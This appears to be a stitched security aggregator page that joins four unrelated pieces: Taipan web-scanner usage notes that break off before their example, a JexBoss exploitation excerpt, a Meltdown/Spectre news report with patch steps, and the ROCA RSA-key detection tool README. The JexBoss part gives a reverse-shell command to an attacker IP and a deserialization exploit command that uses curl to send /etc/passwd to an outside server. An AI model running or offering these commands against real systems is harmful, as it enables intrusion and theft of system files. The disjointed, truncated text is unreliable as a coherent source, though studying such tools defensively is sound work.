Using Taipan
Taipan can run on both Windows (natively) and Linux (with mono). To run it in Linux you have to install mono in version >= 4.8.0. You can track the implementation of the new features in the related Kanban board.

Scan Profile
Taipan allow to scan the given web site by specify different kind of profiles. Each profile enable or disable a specific scan feature, to show all the available profile just run Taipan with the --show-profiles option.

Scan/Stop/Pause a scan
During a scan you can interact with it by set the scan in Pause or Stop it if necessary. In order to do so you have to press:

• P: pause the scan
• S: stop the scan
• R: resume a paused scan

The state change is not immediate and you have to wait until all threads have reached the desider state.

Launch a scan
To launch a new scan you have to provide the url and the profile which must be used. It is not necessary to specify the full profile name, a prefix is enough. Below an example of execution:

Taipan Components
Taipan is composed of four main components:

• Web Application fingerprinter: it inspects the given application in order to identify if it is a COTS application. If so, it extracts the identified version.
• Hidden Resource Discovery: this component scans the application in order to identify resources that are not directly navigable or that shouldn't be accessed, like secret pages or test pages.
• Crawler: This component navigates the web site in order to provide to the other components a list of pages to analyze. It allows to mutate the request in order to find not so common pathes.
• Vulnerability Scanner: this component probes the web application and tries to identify possible vulnerabilities. It is composed of various AddOn in order to easily expand its Knowledge Base.

Reverse Shell (meterpreter integration)
After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

• Example:

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl [email protected]/etc/passwd http://your_server'

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

Meltdown and Spectre CPU Flaws Affect Intel, ARM, AMD Processors

Unlike the initial reports suggested about Intel chips being vulnerable to some severe ‘memory leaking’ flaws, full technical details about the vulnerabilities have now been emerged, which revealed that almost every modern processor since 1995 is vulnerable to the issues.
Disclosed today by Google Project Zero, the vulnerabilities potentially impact all major CPUs, including those from AMD, ARM, and Intel—threatening almost all PCs, laptops, tablets, and smartphones, regardless of manufacturer or operating system.
These hardware vulnerabilities have been categorized into two attacks, named Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753 and CVE-2017-5715), which could allow attackers to steal sensitive data which is currently processed on the computer.

Both attacks take advantage of a feature in chips known as "speculative execution," a technique used by most modern CPUs to optimize performance.

"In order to improve performance, many CPUs may choose to speculatively execute instructions based on assumptions that are considered likely to be true. During speculative execution, the processor is verifying these assumptions; if they are valid, then the execution continues. If they are invalid, then the execution is unwound, and the correct execution path can be started based on the actual conditions," Project Zero says.

Therefore, it is possible for such speculative execution to have "side effects which are not restored when the CPU state is unwound and can lead to information disclosure," which can be accessed using side-channel attacks.

Meltdown Attack

 
The first issue, Meltdown (paper), allows attackers to read not only kernel memory but also the entire physical memory of the target machines, and therefore all secrets of other programs and the operating system.

“Meltdown is a related microarchitectural attack which exploits out-of-order execution in order to leak the target’s physical memory.”

Meltdown uses speculative execution to break the isolation between user applications and the operating system, allowing any application to access all system memory, including memory allocated for the kernel.

“Meltdown exploits a privilege escalation vulnerability specific to Intel processors, due to which speculatively executed instructions can bypass memory protection.”

Nearly all desktop, laptop, and cloud computers affected by Meltdown.

Spectre Attack

The second problem, Spectre (paper), is not easy to patch and will haunt people for quite some time since this issue requires changes to processor architecture in order to fully mitigate.
Spectre attack breaks the isolation between different applications, allowing the attacker-controlled program to trick error-free programs into leaking their secrets by forcing them into accessing arbitrary portions of its memory, which can then be read through a side channel.

Spectre attacks can be used to leak information from the kernel to user programs, as well as from virtualization hypervisors to guest systems.

“In addition to violating process isolation boundaries using native code, Spectre attacks can also be used to violate browser sandboxing, by mounting them via portable JavaScript code. We wrote a JavaScript program that successfully reads data from the address space of the browser process running it.” the paper explains.

“KAISER patch, which has been widely applied as a mitigation to the Meltdown attack, does not protect against Spectre.”

According to researchers, this vulnerability impacts almost every system, including desktops, laptops, cloud servers, as well as smartphones—powered by Intel, AMD, and ARM chips.

What You Should Do: Mitigations And Patches

Many vendors have security patches available for one or both of these attacks.

• Windows — Microsoft has issued an out-of-band patch update for Windows 10, while other versions of Windows will be patched on the traditional Patch Tuesday on January 9, 2018
• MacOS — Apple had already fixed most of these security holes in macOS High Sierra 10.13.2 last month, but MacOS 10.13.3 will enhance or complete these mitigations.
• Linux — Linux kernel developers have also released patches by implementing kernel page-table isolation (KPTI) to move the kernel into an entirely separate address space.
• Android — Google has released security patches for Pixel/Nexus users as part of the Android January security patch update.  Other users have to wait for their device manufacturers to release a compatible security update.

Mitigations for Chrome Users

Since this exploit can be executed through the website, Chrome users can turn on Site Isolation feature on their devices to mitigate these flaws.

Here's how to turn Site Isolation on Windows, Mac, Linux, Chrome OS or Android:

• Copy chrome://flags/#enable-site-per-process and paste it into the URL field at the top of your Chrome web browser, and then hit the Enter key.
• Look for Strict Site Isolation, then click the box labeled Enable.
• Once done, hit Relaunch Now to relaunch your Chrome browser.

There is no single fix for both the attacks since each requires protection independently.

Infineon RSA Vulnerability - ROC

This tool is related to ACM CCS 2017 conference paper #124 Return of the Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli.

It enables you to test public RSA keys for a presence of the described vulnerability.

Update: The paper of the attack is already online, ACM version.

Currently the tool supports the following key formats:

• X509 Certificate, DER encoded, one per file, *.der, *.crt
• X509 Certificate, PEM encoded, more per file, *.pem
• RSA PEM encoded private key, public key, more per file, *.pem (has to have correct header -----BEGIN RSA...)
• SSH public key, *.pub, starting with "ssh-rsa", one per line
• ASC encoded PGP key, *.pgp, *.asc. More per file, has to have correct header -----BEGIN PGP...
• APK android application, *.apk
• one modulus per line text file *.txt, modulus can be a) base64 encoded number, b) hex coded number, c) decimal coded number
• JSON file with moduli, one record per line, record with modulus has key "mod" (int, base64, hex, dec encoding supported) certificate(s) with key "cert" / array of certificates with key "certs" are supported, base64 encoded DER.
• LDIFF file - LDAP database dump. Any field ending with ";binary::" is attempted to decode as X509 certificate
• Java Key Store file (JKS). Tries empty password & some common, specify more with --jks-pass-file
• PKCS7 signature with user certificate

The detection tool is intentionally one-file implementation for easy integration / manipulation.

PGP key
In order to test your PGP key you can export it from your email client or download it from the PGP key server such as https://pgp.mit.edu/
You can also use gpg command line utility to export your public key:

gpg --armor --export [email protected] > mykey.asc

Advanced use case
Detection tool extracts information about the key which can be displayed:

roca-detect.py --dump --flatten --indent  ~/.ssh/

Advanced installation methods

Virtual environment
It is usually recommended to create a new python virtual environment for the project:

virtualenv ~/pyenv
source ~/pyenv/bin/activate
pip install --upgrade pip
pip install --upgrade --find-links=. .

Separate Python 2.7.13
We tested tool with Python 2.7.13 and it works (see Travis for more info). We have reports saying lower versions (<=2.6) do not work properly so we highly recommend using up to date Python 2.7
Use pyenv to install a new Python version locally if you cannot / don't want to update system Python.
It internally downloads Python sources and installs it to ~/.pyenv.

git clone https://github.com/pyenv/pyenv.git ~/.pyenv
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
exec $SHELL
pyenv install 2.7.13
pyenv local 2.7.13

Python 3
Basic testing routine is quite simple and works with Py3 but the rest of the code that processes the different key formats and extracts the modulus for inspection is not yet fully py3 ready.
We are working on Py3 compatible version.

Docker container
Run via Docker container to avoid environment inconsistency. Dockerfile source can be audited at https://hub.docker.com/r/unnawut/roca-detect/.

docker run --rm -v /path/to/your/keys:/keys --network none unnawut/roca-detect

Make sure to use --rm and --network none flags to disable container's network connection and delete the container after running.
